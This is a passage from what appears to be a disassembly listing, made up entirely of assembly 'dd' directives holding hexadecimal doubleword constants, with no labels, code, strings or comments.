		dd 8CF2167Eh, 8797F30h,	909E008Dh, 0B63B42FDh, 0A412BE2Bh
		dd 0DCA80EE0h, 2C17778h, 0E54A9B7Eh, 0B844DDF9h, 38681F00h
		dd 2041C50Fh, 95D55F97h
		dd 0C014FCF8h, 704EB9CFh, 0AE7A00ADh, 321994E1h, 49742491h
		dd 505F1533h, 808CCDF4h, 69188C2Ch, 2D5061CDh, 487813C0h
		dd 8D8C20D7h, 0B107DD99h, 53761140h, 0C5431444h, 3DA25B9Eh
		dd 10502BC0h, 13FA2809h, 46AC02B7h, 0CA122211h,	42105C59h
		dd 78E17482h, 0DD30EC90h, 9F0D9100h, 2A4C8E53h,	45A00296h
		dd 7821CD40h, 0FAEA3C41h, 0EEC87h, 0B76A1851h, 54013379h
		dd 9EF52FBEh, 0DCEC94EBh, 0D3883CF6h, 11967318h, 4992F30h
		dd 77DB8F3Ch, 3C540384h, 387B81h, 0BF23E4C3h, 2F2675A8h
		dd 2855E100h, 7A9EAEF8h, 0C1E307EBh, 99422117h,	4B005CD9h
		dd 0DA6D7D85h, 0B4B300C8h, 30079123h, 0EF2E997Bh, 4E009F5Ah
		dd 7C50DB9Dh, 22072DCh,	77FFB2B6h, 0C8BB181h, 45125004h
		dd 0CC1358C2h, 0AC592800h, 1FB19Eh, 0F9FE6C7Ch,	3F122590h
		dd 0C515D90Ah, 0C3030CDDh, 0C936CC4Eh, 0A0E887B7h, 290900C4h
		dd 598CD747h, 0C5004330h, 0C7603448h, 1DDE4F21h, 97BC50h
		dd 1B3B6494h, 10C97A5Bh, 4EC580DAh, 0ABF7B45h, 841FE21Ch
		dd 12CE00A8h, 1587F592h, 84E4BB48h, 0ACFDDBE6h,	7605FC00h
		dd 0E952C9BFh, 0B3C37003h, 250BD87h, 0B90C13D0h, 7E4356h
		dd 84C82D82h, 64215788h, 0AD38BC15h, 7CC4459h, 9B0FD945h
		dd 3DFC208Dh, 540704B6h, 3874793Bh, 7A2BA8E0h, 9765019Ch
		dd 0B72843E7h, 0F0096F92h, 58CC5C89h, 4D039EC4h, 0C823E29Dh
		dd 60BEC22Ah, 31B43C37h, 0D43083CFh, 84706EB6h,	0FA29F88h
		dd 5D1E0A38h, 0A4DCD48Ah, 76D861E8h, 390830B9h,	4BFCEF0Fh
		dd 0CE498098h, 0B40D7Bh, 6A17FA14h, 97DB2D50h, 80ECE048h
		dd 0A118932Fh, 0C0200F09h, 307759C6h, 269753F0h, 0C22D9E00h
		dd 0D1A699E2h, 365F0006h, 0D9542AC4h, 411CC6A9h, 78000D23h
		dd 9731FE15h, 530CA1DFh, 989476FEh, 5C25B93Ch, 0DDC01800h
		dd 0AFB2E404h, 28900750h, 53136F37h, 2392CFB1h,	3E001CF1h
		dd 6DEE4385h, 8F290412h, 0C5D034C2h, 0B2A0h, 7573ADE7h
		dd 1ED466h, 9CE0B478h, 26BA3721h, 107CF85Dh, 1C448441h
		dd 5DAB3ADCh, 0E8C6CB02h, 0DB6160DDh, 7636F026h, 0ECFCCE4Fh
		dd 905C5C48h, 0E8377080h, 8009624Ch, 64D5955Ah,	6DE0002Ch
		dd 35508219h, 909DFF15h, 36AA958h, 0F21F92FDh, 0B8E561C5h
		dd 8BE90370h, 999C8945h, 4C3CF312h, 0F485178Bh,	6FE0E43Ch
		dd 0BA180700h, 10CD1170h, 68CB0F1Bh, 0B4C0484Ch, 0F0E13153h
		dd 0BC221F05h, 64C4710Ch, 68D6A460h, 9300137h, 3EC661Fh
		dd 0D8056E6Ah, 64D1EF34h, 12101E3Bh, 0C08360C5h, 1C8F2C61h
		dd 5391D8E0h, 5D08214Dh, 0FBD43038h, 0A03E400Bh, 0A1410EEh
		dd 79156ADDh, 4D14930h,	0E948200h, 2D6CCDh, 9F5121FFh
		dd 0B529C3C8h, 70EEC417h, 0E5385802h, 4428F083h, 35F85CF0h
		dd 7E743B70h, 8DC8F900h, 3DA486ACh, 0EA6C24D1h,	0B8E51234h
		dd 0B0DE806Ch, 68768h, 4A058EC6h, 0DA0A4BC7h, 739D50A0h
		dd 7498C573h, 88F2830h,	2F48F388h, 0F4CEF12Bh, 9852B300h
		dd 7A72585Ah, 0D3740027h, 5794FAFBh, 0BCFC1D45h, 1B1EB507h
		dd 6B100D87h, 3C20721Ch, 3CF04C78h, 21808A6Fh, 99E5B4CCh
		dd 0D82C48A5h, 3D50ECF5h, 16BE0008h, 0BA528299h, 96068C90h
		dd 9DEF8332h, 15C00442h, 0C413313Fh, 0E66EC06Ah, 0E8482023h
		dd 0A7D78074h, 0BC57A6h, 658A3C21h, 2EE3B96Bh, 0FC379000h
		dd 0E1F11B8Dh, 243E54D0h, 70E495B4h, 0A6EF7100h, 6633A364h
		dd 0D01004D9h, 0C4A92D4Eh, 0C52488DCh, 85B0E04Ch, 0A4543D9Ah
		dd 27F33A14h, 0C4C649h,	91360142h, 0EB3248B7h, 3B44C09Eh
		dd 0CA03C15Eh, 0FCEF85FDh, 3F029167h, 0CBAE31D7h, 35254036h
		dd 0B0305844h, 99115D80h, 0A300ECD7h, 0DC9C0145h, 0B7C7158Ch
		dd 36085410h, 0C3136300h, 0F9F2A171h, 5CC117B6h, 4A00CCF4h
		dd 912A24h, 3E8EF900h, 0CC194930h, 3AF096D9h, 0EA2D7890h
		dd 8C9020E0h, 3FA7462h,	0D9D1B7A4h, 7BC03637h, 87008632h
		dd 3A50C022h, 26AE4521h, 0C0A308h, 1E4D27E6h, 0BCA9405Eh
		dd 0D48470F0h, 5C24F320h, 0CEDF2029h, 7320C3D8h, 168DCD83h
		dd 5F5CD059h, 0C400D453h, 43E0B3DEh, 3DF170D7h,	0EB814A2Bh
		dd 45779321h, 0E4D03015h, 0C45E781h, 2018B082h,	9084BE28h
		dd 8B4684Ah, 56C2883Bh,	89A4745Ch, 8C1C7912h, 84182650h
		dd 3BA2151Dh, 4088B620h, 1EB8A5CDh, 0A833B000h,	5CC71B83h
		dd 0F5E800CFh, 686E9459h, 0F22DE5E1h, 0C5EC919Dh, 1544970Ch
		dd 829D02B4h, 4702C040h, 2D244880h, 9126BED7h, 8D604C6Dh
		dd 4C560974h, 0C7C86845h, 0E3365E40h, 0B13B00B9h, 325C9EA1h
		dd 0CA05370Ah, 0E5AC3388h, 45BEB004h, 0D32E54B7h, 0E8390BF2h
		dd 9DD598A1h, 98CC05C4h, 0C8095B53h, 738CC9FCh,	0F2AD0AD7h
		dd 12781096h, 0E24C9231h, 0F90F3C72h, 0A102F5E1h, 5FB328Ah
		dd 678FE0D3h, 0FF4803DEh, 82E39314h, 2078582Fh,	0C40B8590h
		dd 4D470062h, 0A90361A4h, 0E0FEECDh, 6B6CE635h,	0B30480E3h
		dd 4DA198Fh, 0F19E78C7h, 3C8DBFh, 0F7ECCC4Ch, 80B01F3Ch
		dd 3B65CB40h, 2C177DE3h, 0BB06986h, 0E0E4F2FEh,	0E14BB570h
		dd 67A36C90h, 17B6014Bh, 2D822E90h, 860892D0h, 0DC007CB8h
		dd 0B78804E7h, 204C41C4h, 0EB9FB1CCh, 693C4C40h, 90EA0A75h
		dd 4ECCD549h, 9E54B080h, 73002021h, 95F506B5h, 0A1CEC51Ch
		dd 102CC108h, 0A44C40h,	0DD0EEC2Bh, 190A536Bh, 5841C89Ch
		dd 0E44C492Ah, 2CAF4945h, 0A2102097h, 0E7025E5Ch, 69C98A9Bh
		dd 0E7240B2h, 0EDB800D8h, 3693AF1Fh, 5C165BF8h,	0F022465Fh
		dd 8E4E1h, 957037D8h, 2CA5CCADh, 9218DA39h, 4C80136Dh
		dd 206D7BAh, 0D0DC9267h, 485A8C36h, 0CB40EC9Eh,	0FF45CFh
		dd 0C55FBD48h, 2D8A3731h, 4B4AC704h, 74A4C157h,	34985CF2h
		dd 4C00E852h, 67A09EDEh, 363E0231h, 12230929h, 42643932h
		dd 1914C508h, 40D830FEh, 0C70B49B8h, 18D90A52h,	0E6BFF2A4h
		dd 0B8C1826Dh, 0DBE61142h, 6A01AC69h, 5A5DB33Eh, 0BD2EC152h
		dd 0B71E0FE8h, 81F8F482h, 39BE338Ah, 0E6804439h, 327FB42h
		dd 0A5B7CD3Bh, 0E5B0003Bh, 5A48DD36h, 0AD58C92Dh, 0E438A020h
		dd 78AFD83Dh, 75680D34h, 7CB83EE8h, 0AF74E048h,	574D0098h
		dd 0B179969Dh, 36785C7Dh, 40C884F2h, 47445E4h, 9993126Ch
		dd 0F8303BF4h, 0A20DF08h, 264F1C59h, 853111B4h,	2400E261h
		dd 941E7040h, 5D4B304Fh, 0D808FE71h, 2838155Eh,	12FD83E0h
		dd 499C62F4h, 94DA8E2Eh, 7485C218h, 998D18E6h, 62DDCA2Dh
		dd 283057F0h, 320086C2h, 66189DC3h, 21F68E1h, 0A0EA9329h
		dd 6C5C35B5h, 460DC907h, 766B1012h, 212A924Ch, 7FC22E00h
		dd 0DFD1AC20h, 926C0037h, 9760C685h, 58E624ACh,	12724A05h
		dd 10C71F69h, 0F442F0E4h, 0E7240C9Ch, 0FE24A4h,	2278E9Ah
		dd 0AB2A3680h, 0DC902806h, 4D00AE4h, 4A2FEE58h,	0D9B8C2D2h
		dd 0CCE7D0A7h, 0C800A441h, 1D90CA47h, 285EF495h, 79939B7Ch
		dd 34909FE1h, 7F009949h, 9390E5BEh, 0B69D2292h,	2B4841ACh
		dd 935442F4h, 120145Fh,	0D05448EFh, 0FAEC3CE1h,	0D78800FCh
		dd 0BA298BC0h, 16706F80h, 2805EFF1h, 0A347CA93h, 3088C812h
		dd 8799001Fh, 0A4F521ABh, 0DD0008A8h, 7DC3590Ch, 0F769Eh
		dd 20E088B8h, 11EEA02Dh, 350811C3h, 0B0296F46h,	13A48470h
		dd 842C4942h, 8F33800Fh, 7DD9D80Bh, 91809991h, 0C90300C2h
		dd 3DEABA5Eh, 12AD02D7h
		dd 0D548CA91h, 109F6CD0h, 3C504Ch, 7B3981C8h, 78E355B0h
		dd 0DB0C58B8h, 718298BEh, 0E1671396h, 8298B856h, 449D502Ch
		dd 348A0950h, 386060C5h, 184E802Fh, 7B0094A2h, 42DB396Fh
		dd 2A0BA0F1h, 0C92F7C35h, 0CD81A38h, 20285B16h,	0AB808B0h
		dd 0F8346501h, 5E3D874Ch, 0C9DDC06Bh, 8A1F29Eh,	22C03C22h
		dd 10C600BEh, 0AF1B443h, 9A098496h, 5CCA797Fh, 0E0F00680h
		dd 4316C109h, 0B034AEDh, 0E89FD239h, 163BF93h, 0D2ADE37h
		dd 0D6491311h, 0ED2BBC61h, 0E36C4319h, 1A1C4813h, 8521B300h
		dd 0FBB14653h, 0D02CB471h, 0ACF60680h, 0B004FC0h, 0D89AF0CBh
		dd 1352B597h, 0ACA4F2F5h, 8B54A028h, 45650002h,	0FEB6ED90h
		dd 4008F2Eh, 0C6C1A2D8h, 5C4245Dh, 15B28348h, 5BF4CC93h
		dd 6411992Ch, 8B1282BEh, 0FCFE7608h, 295319F8h,	3854224Eh
		dd 951C8001h, 32AE760h,	0C10BF31h, 1D1F36ADh, 8303854Ch
		dd 924BF80Fh, 0E0B041A2h, 0E017C3Dh, 2D564507h,	16D46060h
		dd 0E0BA4B88h, 0DA9B16D1h, 328CC110h, 0C09C3D7Ch, 26927F3Bh
		dd 0FBFD0373h, 4029E12Eh, 0C55CAE88h, 1007DE00h, 3C97282Fh
		dd 6BB70770h, 80A85B67h, 8A8FD52Ch, 0AE008C7Fh,	0A6330C1h
		dd 1DE24B32h, 409EAA60h, 228F5FB4h, 1D003B49h, 638695C5h
		dd 1C971061h, 820B2BDBh, 0C2942D5Ah, 0F9EC985Dh, 0DC2F0693h
		dd 0D864B740h, 9070084Fh, 0FE796B7Ah, 0C4610002h, 15C9EDF2h
		dd 80B0FBFh, 82E21256h,	5F218668h, 2E641C38h, 0FF83839h
		dd 61A79982h, 0DFAC052Dh, 8090C13Ah, 0EC2004EDh, 0EAE52C5Eh
		dd 74C51CCEh, 4DB2C088h, 97C0A41Dh, 0E7494003h,	0C85EAB54h
		dd 133D747h, 45795712h,	211EBFB4h, 0C4882A18h, 3297982h
		dd 0E2B9C6FDh, 2AE8EEB6h, 8EA0BA2Ch, 335C2D52h,	9BE16F5h
		dd 2565EC28h, 0C4E666E5h, 0AE06AD00h, 8FA2F69Eh, 6845003Ah
		dd 7A1517A0h, 0A9903790h, 0B8498000h, 7ED8CE83h, 36C602EAh
		dd 7FC57569h, 0A40F6C5Ah, 49F06CD3h, 0C268802Dh, 0BC94B40Dh
		dd 0EC186BC4h, 2100E9E0h, 0CB1D0EC3h, 9E57ADDh,	86FAFDA6h
		dd 9E479300h, 0F80EFCE7h, 0A0D058DEh, 0CA8030BCh, 0D97454h
		dd 11283A2Bh, 3AD65E4h,	98D7C500h, 0DE6F13F3h, 534009FDh
		dd 1498E80Dh, 19007837h, 0F38D03E3h, 36A4AB8h, 0D4C7D956h
		dd 0F90BF84h, 3209CCE7h, 5DB73E9h, 9C408FCCh, 2A620A5Dh
		dd 43AE2E64h, 2075162Bh, 60D915F4h, 1CBCC495h, 0EEFFA8h
		dd 0C1E7FA71h, 0E53F3A54h, 9E6A07F9h, 0FD90FBCAh, 1A3F8Ah
		dd 902F0A80h, 9F0EB515h, 0CB1A000h, 0CF409372h,	0D76016B6h
		dd 229021DDh, 58307BE8h, 5999BC2h, 8D0D391h, 0C70C0A30h
		dd 22DE17FFh, 0D3621F64h, 0E42084D6h, 949CC60Bh, 975C4076h
		dd 0C3130B04h, 3C1848A1h, 671F617Ch, 84454C60h,	0B4C09FC1h
		dd 0BE2416F1h, 0E1B36054h, 0B17F89D9h, 3AAA583Fh, 8D9E938Eh
		dd 0AD4A6840h, 0BE28EDC4h, 4C0A438h, 8D6994E7h,	0C7902C94h
		dd 0BEB4E021h, 0C18420AAh, 0E7025399h, 15E3CAFAh, 0AC145794h
		dd 0AB314400h, 0BBE04C82h, 4BAA00F7h, 0C8FFE5CBh, 0E10060ACh
		dd 1C9626C3h, 77F55C4h,	85E01F10h, 95208FF3h, 3C2B9765h
		dd 6EB70902h, 989BF2EEh, 2B0C5B4h, 40D01992h, 5CE23F04h
		dd 0C1801051h, 0FDC8CB0Ch, 0F3CA004Ch, 0F9A1A4DAh, 0C66D9AF5h
		dd 0E889A8C9h, 44B81E87h, 0D8004A32h, 418E78A6h, 1FBF734Ch
		dd 52F0D455h, 5890BCC9h, 0E4DC4E18h, 0CDE007BFh, 0D08AD4E1h
		dd 88D19316h, 17918C9Ch, 79A02809h, 425868F2h, 0C5F84DECh
		dd 80CB00Ah, 29B7032h, 0FCC01F80h, 0F046194Ch, 47019602h
		dd 62DB4582h, 0E90802C0h, 0E2B85487h, 64F61691h, 82929F40h
		dd 0E7E685h, 8F35C5E4h,	91290EBAh, 0BF48EA12h, 1E380444h
		dd 0B8A11245h, 0C469C3B8h, 0F7BC59h, 722D7440h,	48490950h
		dd 2C71F8B8h, 0DDDC3Ch,	770F9419h, 31CF56D8h, 0C6E80D9Ah
		dd 888C68E6h, 405C9E10h, 0BD63E090h, 681EBCD6h,	1B40D365h
		dd 5FE1138Ah, 4C2E02E8h, 18D832BFh, 0C2C0B84Bh,	48A03D56h
		dd 0FE4CBEC5h, 0B59ECA40h, 88DCEE00h, 3F35F4Ah,	0E92DB690h
		dd 89E0421Ah, 320C1F3Eh, 0F92C48B7h, 71910E46h,	0A1D65092h
		dd 1D2A306Ch, 4CC497h, 0E9441BEFh, 0C2E88997h, 0DA84631Fh
		dd 529BBEC2h, 56544222h, 0BAE04EF0h, 6F2D7605h,	39D23F0Eh
		dd 0BD552072h, 5CB51D5Bh, 36823C45h, 9CD4AC4Ch,	93FC4Ch
		dd 76FEC271h, 34C49A01h, 0F28BB450h, 1DA3CC00h,	0E9893B13h
		dd 81450E6Fh, 55801073h, 64B61A67h, 804A4438h, 2A755942h
		dd 17E2B78Ch, 70167E78h, 0F85A2828h, 0FDA93500h, 0A03C40FCh
		dd 4278BCECh, 39111333h, 2C80A87Ch, 97DF2D86h, 0BC22DC5Fh
		dd 502904D7h, 702B00D4h, 0D6BA23EDh, 0B8AF50ECh, 442C96D3h
		dd 0D428AB90h, 9E985Ch,	5A333F9Dh, 91EB1685h, 0E842C25Eh
		dd 201BE0E6h, 0D163E553h, 83177FB0h, 0B813F202h, 82F4BC06h
		dd 20659D60h, 0D80B6000h, 119638Dh, 7B3FE5F6h, 0EC587A1Fh
		dd 0C7E0C299h, 12C0165Ch, 48B9254Fh, 0FC74B380h, 0E8016A09h
		dd 2F434829h, 0B066DEC6h, 0B05C4C70h, 981F4C80h, 86252B30h
		dd 8A9C4887h, 58B402CCh, 3C1E93C8h, 4431F8E8h, 7448264Eh
		dd 0FC2D443Dh, 449388FCh, 0A0B2C2h, 7C51F35Eh, 3E5091A1h
		dd 0B4B235D2h, 8E242488h, 71093482h, 0EC328CB8h, 9C91E221h
		dd 9902AF1Ch, 0C0377113h, 1F1A16EDh, 402D0674h,	53706FB9h
		dd 94133D24h, 18ED14B7h, 0E03A2D80h, 8400978Ch,	371BD394h
		dd 25564026h, 74DB1345h, 0CBEA2F80h, 3057FF2Eh,	3DE82C3Bh
		dd 849D3C04h, 2080BE60h, 274CC74Bh, 0C891DB0Ah,	221D02ECh
		dd 0E0103BC7h, 0A22E8811h, 0D7DE10Eh, 154E0C7h,	0B65B0DBh
		dd 28BFA8DFh, 99310C40h, 68E8B083h, 4F4B14CCh, 1C399CEAh
		dd 25049C40h, 1E98F312h, 6CDA1740h, 0C8974530h,	88C5D9A8h
		dd 23D3E0Ah, 0B3A58180h, 0BE82BB87h, 0C297D0F0h, 381D5848h
		dd 0C8BAE89h, 0F92EE838h, 533EBA1Ch, 4644154h, 83ABC712h
		dd 0F88875AEh, 0B7950BD4h, 91B044C4h, 692E80C4h, 8549D2DDh
		dd 746B4E02h, 62CF270Eh, 3ACD19Fh, 0DE1ED293h, 2AD10FA8h
		dd 4B008DFCh, 0E0E9CB88h, 0CFD5535h, 16ED311Ch,	67098B60h
		dd 0F123E5E3h, 1F900064h, 93F6AA51h, 0F3BFA900h, 0EA24E5C0h
		dd 74F275D0h, 48335CDEh, 0FE756980h, 5190202Dh,	0E02C9004h
		dd 0A4EC8765h, 0DE592480h, 6CB2725Ch, 0B0D03926h, 5ED349C2h
		dd 316740ACh, 8C28620h,	606E4FE5h, 16B7D81Eh, 0B242569Ah
		dd 8C017A58h, 0FB0EB072h, 0C747B731h, 605AF4E2h, 0F00F826Ch
		dd 0FADD7C8Ah, 48063EEEh, 0F16FC201h, 3B99F2F4h, 3C0150CAh
		dd 0A96432B9h, 0BDB07CE8h, 7E794800h, 0E2510138h, 3E063912h
		dd 9923FC93h, 0ECB0CA2Ch, 98F44582h, 166C58A5h,	0A23D0A17h
		dd 8E961600h, 1FF620C8h, 1E419A2h, 61289AD9h, 90903BBAh
		dd 9A884553h, 2F4EFA1Ch, 88A30CD9h, 21FC9598h, 0BB101A3Ch
		dd 0F45C43C4h, 9CA3D3CCh, 4CD92A25h, 1B444CA8h,	51CA6F12h
		dd 0AE6CD981h, 9C006A63h, 1D048750h, 3153042Eh,	40AFCA15h
		dd 18B730FBh, 54910482h, 942009C4h, 5020EFCCh, 3CBEDA57h
		dd 0FF24ED92h, 1F31001Fh, 505582A3h, 80689C3Ch,	0B22AC58Ah
		dd 0BDD41C8h, 784528BEh, 0A289245Ch, 13ECF1A8h,	0E3A4209Bh
		dd 0E12AE0D0h, 0BC029078h, 2EAA0AA4h, 3E28E6AEh, 7E8ECA08h
		dd 6560CC28h, 13F12D3Fh
		dd 0B3866900h, 0FBB02573h, 0E6C91182h, 60330F58h, 1E1205A7h
		dd 3F6ED8C0h, 0B52AECE4h, 5F6EDC44h, 884E6989h,	8065CC47h
		dd 76D4BC22h, 90E297C0h, 390AAD5Ch, 2D38A40Eh, 511669D0h
		dd 9BC88604h, 2C9869A2h, 8D04A0BDh, 9843702Fh, 0AE40F98h
		dd 90956045h, 0C4F99310h, 0ED451F99h, 8020A873h, 33409CCAh
		dd 0FEA024C5h, 0E60B04D0h, 0F85C8328h, 274608ACh, 321A5468h
		dd 780C4D12h, 4F78BCBDh, 426C73CBh, 0CA7857A8h,	44D49E04h
		dd 3FFF3C3h, 8B7DE8A4h,	22F89858h, 12210A18h, 3B24EEC6h
		dd 0E007CC4h, 0CCFEFDA3h, 5EF1A26Fh, 70928397h,	96782095h
		dd 7F828DB9h, 0F4D35C91h, 0AC00A831h, 0CEC0CCCAh, 5E849D0Ch
		dd 88E08027h, 1B599312h, 925D0B38h, 41DC5661h, 3D7D4653h
		dd 0E0B30060h, 56D24EDAh, 4CD65C44h, 0BBAC4D02h, 84DC02F0h
		dd 9876620Fh, 63E39F0h,	0E82D83FDh, 0E50099C7h,	81C53F36h
		dd 2918672Ah, 3D980756h, 36E78382h, 0B082BECBh,	5E18283Ch
		dd 10118907h, 0FF757F2Ch, 1C77330h, 0C9F49A1Ah,	6D8D9BC6h
		dd 0CB3111DCh, 928B9138h, 0B8A9F2A8h, 670F60C4h, 6FFA17B5h
		dd 0F3D9A04Bh, 7F3DB2A2h, 0C32E6D1h, 9AF71562h,	69256AE0h
		dd 186C842Dh, 0E4E92440h, 0C4B58EF2h, 0A20A5A1Ch, 6F44509Ch
		dd 3F53B0A8h, 79A4A9B7h, 0EBE80318h, 69F027FBh,	0E6070F1Ah
		dd 0A9CBD22h, 0B1F5A0F0h, 0C0A16861h, 65C130B6h, 0A7300897h
		dd 0F07E9864h, 2BE08FAh, 84022647h, 5DEA386Fh, 0D748000h
		dd 3E28E8A4h, 0C543F029h, 0E9128A21h, 5D48F4h, 30697C14h
		dd 33DB9D3Ch, 65DA5E00h, 6A2E3A2Bh, 668802B7h, 0BF31FEC9h
		dd 385218E2h, 0BE8A5617h, 60072CF2h, 0E04C06CAh, 44DA8CCBh
		dd 3443782Eh, 8BDD681h,	206AB812h, 2821CB54h, 0E3203F00h
		dd 4176ECA0h, 560B001Eh, 2AFDA550h, 24E0B9BFh, 45A1152Fh
		dd 0C0B60044h, 59D8E9E7h, 0FB17DC01h, 202C6368h, 0D7B8163Eh
		dd 0B6D52064h, 39C0F548h, 0E0F1C86Ch, 438600EFh, 6A4E989Ah
		dd 0CF7044E3h, 52E57904h, 3082B5D1h, 4B8C1BC9h,	0FD209829h
		dd 66A00E4h, 425348E6h,	0BD0BCA43h, 0F8CC4BF7h,	9490975Ch
		dd 0AD3C6316h, 3873899Fh, 0D2C98047h, 51E62A5h,	1F048B27h
		dd 489C0494h, 4C200975h, 0AE4213BCh, 27E0B256h,	4709612h
		dd 3319AFFEh, 6B9580F4h, 92246243h, 866404D9h, 2CBE2D40h
		dd 0E75A1CE9h, 0E305E0A6h, 2E2335Dh, 2B5B1F08h,	40747042h
		dd 91D40549h, 10059032h, 0C8C4C020h, 60FB77FCh,	0AAEBBDD8h
		dd 0FB789D05h, 0A420303Bh, 0EF43B0h, 411DD19Ah,	0D54899B6h
		dd 15ABAF09h, 0E074184Ch, 406AE5FDh, 2956AA40h,	350113B8h
		dd 37367AECh, 86E98E58h, 2A60F9E8h, 457CC192h, 3D02CE63h
		dd 20A47773h, 10CA9A1h,	69096C9Eh, 203FF317h, 7AE0B4C8h
		dd 0D0CB9400h, 0DF65DDF9h, 9F2400B5h, 3A9165Fh,	0CA278A45h
		dd 0B08410B7h, 154B00A7h, 0ADA4D413h, 534CC5BBh, 188D26E4h
		dd 0E6446864h, 30B294h,	5FC8599Dh, 7493876h, 0D8DA05ABh
		dd 8AC1ABEh, 15164290h,	30619C30h, 3C48BEE1h, 8963281Ch
		dd 0A4FA9415h, 65415325h, 3FCD00ACh, 0F991D1A8h, 7CC7FC00h
		dd 0F8810CB7h, 0EDF0A14Dh, 0B884CE0Ch, 0F1E55BDCh, 3A8737Ch
		dd 6065CF10h, 7DBA91F6h, 254D8CC4h, 0D8E49816h,	0D9AA2E00h
		dd 0BEC40DA0h, 17FE98E7h, 1320399Dh, 74A2E4h, 0A71E5934h
		dd 57F0A58h, 550F6712h,	0E456AA31h, 89228408h, 6004E5C2h
		dd 0D00E4721h, 0A308ED83h, 1CC2E136h, 0FF24047Bh, 0D1E8CC51h
		dd 14F2E74Eh, 4D020D00h, 8C92B6Eh, 0BD203C00h, 0FCDA1B0Ah
		dd 9D861342h, 0FDF80895h, 0F683D262h, 3021C064h, 2A000B7Ah
		dd 385DA56Fh, 803D6E9Ch, 0EF582C49h, 15B4A0FCh,	1AA30352h
		dd 9BA145F4h, 440ECA8h,	30C85B5Bh, 3A21001Dh, 3FBD414Fh
		dd 8F00F292h, 4DE67B55h, 0FAF09DBBh, 8270AEB0h,	4354718Ch
		dd 37F0C784h, 0EF05F83Ch, 1FEB1AB1h, 0CD10E4C4h, 895A88B0h
		dd 20DAC549h, 1495F426h, 514C7E69h, 0FC12D22Fh,	6FBA1C68h
		dd 51E27CE1h, 3742C8h, 440956C2h, 99D121Ah, 0FCFBF0h, 7E9B5BF9h
		dd 0C97373A4h, 0AED0351Ch, 5755B600h, 5266585h,	4928868Eh
		dd 4550B4D5h, 48C1A40Bh, 40E051C6h, 0C8F849D0h,	2F103B05h
		dd 40D9704Dh, 582923F5h, 0A08C3C80h, 2D16B3FAh,	0AC12DA10h
		dd 0AC223913h, 0BC54296Ah, 1DF28240h, 0AE6F0138h, 906D49EAh
		dd 4EC6064h, 95232244h,	8CCE818h, 0F7D63200h, 0ECD7BA28h
		dd 51B71612h, 0DD64309Eh, 0E59F58B9h, 1F5F0868h, 84962101h
		dd 0F2F10ECh, 3905123Ch, 97E8F48Ah, 47490904h, 60B4A116h
		dd 0B7D902D7h, 0CF03154h, 94DFC91h, 2912C1FDh, 3D531140h
		dd 0C48991C2h, 4C9B7F48h, 0F2D4E010h, 0E3362671h, 2E736248h
		dd 9F90905Fh, 0AB6000C4h, 7866594Bh, 0FC1D1538h, 1ECCD0F1h
		dd 8620909Ch, 600E8644h, 2B3FC8E5h, 603BE253h, 8CA0A601h
		dd 881BA888h, 59A7559Dh, 0D1E70134h, 0F8E1C51Bh, 7D1CA5BBh
		dd 52003A91h, 0CE767ECFh, 3035072Dh, 50600DDAh,	0C55F55FEh
		dd 0B500A970h, 2F97E771h, 418EBB0h, 0BEAC454Ah,	0D08C1E2h
		dd 401E087Ah, 0F800E684h, 0B4B6DC96h, 0FE88286h, 85F1152Ah
		dd 65A04ED3h, 468B00D0h, 4CBABCD8h, 7A9F447h, 92EF9F16h
		dd 8B1AC07Bh, 5F019EC6h, 21D5AD17h, 99F82609h, 1EDE041Fh
		dd 822C2F7Bh, 98981CDCh, 0DC9145AFh, 0E22FEF11h, 8874F848h
		dd 909DF300h, 29AA4F93h, 728C00FAh, 370EB7FDh, 4BD269Ch
		dd 2EC5C2A0h, 900A0BCh,	63EB8D38h, 74FC518Bh, 8FCEEF39h
		dd 89C47D25h, 3E547022h, 0B7099791h, 0A07E8BE8h, 5BCB4B00h
		dd 46D589h, 77337CC5h, 305358D7h, 2B0A6400h, 9A254B16h
		dd 4414921Eh, 0A301740Dh, 47DB60BCh, 0B6CDDF69h, 5DD2CE4h
		dd 0C5573E6h, 1D548249h, 42CCC19h, 0AAED8CC5h, 0BFC0C067h
		dd 1E69A48Dh, 408971C6h, 7F2B0240h, 4C26E205h, 0FC2E815Fh
		dd 0D07952h, 6CA75A9Ch,	0EC00572Eh, 0F9DBCA1Dh,	0A96D9BC6h
		dd 8D121944h, 0E8A53004h, 34A8212Bh, 0A0E02B09h, 3B562796h
		dd 0D6007CC4h, 0A0B7987Fh, 99D90A66h, 2DA11EB8h, 0EE3AC850h
		dd 0D0F14E02h, 19FA4821h, 0E02C1267h, 80764974h, 4496A4F2h
		dd 0C79DC280h, 77E93E09h, 7BE732Eh, 0FC505A8Bh,	88E6F422h
		dd 239ECA0h, 0A34B001Fh, 0A83B944h, 17420546h, 81F2AB66h
		dd 93D8400h, 880F3EE0h,	53267EE9h, 0EC40A43Bh, 246423DEh
		dd 89CBEA6h, 3A4410F1h,	98045E4Bh, 0C458840Eh, 0DC34AB10h
		dd 0B50820ABh, 0B034532h, 9704442Bh, 0FBA0D008h, 33E51315h
		dd 0EB3C31ECh, 0C490242Bh, 89645A86h, 1117D5A4h, 882F44F4h
		dd 2F00BFF8h, 0CB982691h, 989D8259h, 8DEF00ADh,	4D35871Fh
		dd 0D45A48A7h, 30B02C53h, 649CA858h, 5D0D01D1h,	0B552142Dh
		dd 0D67C60CBh, 72022944h, 4D18C354h, 2480C36Ah,	630236E2h
		dd 4BA1C1A6h, 6264591Fh, 0F05C94E5h, 0EF4CF240h, 4FF0181h
		dd 0C1DC136Fh, 0B5082028h, 6522EA42h, 1A3446B5h, 1996F2E6h
		dd 0B65FC840h, 19F5AB09h, 58580229h, 101011C3h,	0F60A50h
		dd 0F0C67657h, 902F7899h, 8934E2B5h, 0D3640044h, 70CE4C0h
		dd 0E3AA49C5h, 0C317A506h, 98218B44h, 845F90A1h, 0B25256C8h
		dd 0C5980018h, 0C74AEBDCh, 0FFB513DBh, 0A59C058Fh, 3828BF80h
		dd 214D4BFBh, 2BE33014h, 48EBD880h, 0C284984Bh,	0B9554661h
		dd 38ED4049h
		dd 50B2A4DCh, 65426D01h, 0E8831D40h, 0C37F236Ah, 49E9E405h
		dd 0E80EEC5Eh, 6432779Eh, 0A43C2406h, 99A08D88h, 8B98CCA1h
		dd 310FE8F8h, 226F73FEh, 0E2BECF36h, 0D05C21D8h, 944287E7h
		dd 8A81989h, 544250C9h,	0E59D88BBh, 0D360B500h,	2353D4B0h
		dd 3F9004EEh, 0FE9CB88Ch, 501A7C73h, 969A0041h,	3D96070h
		dd 2A4848E2h, 0F2101000h, 11435308h, 0E8B380B5h, 0EC72E68Bh
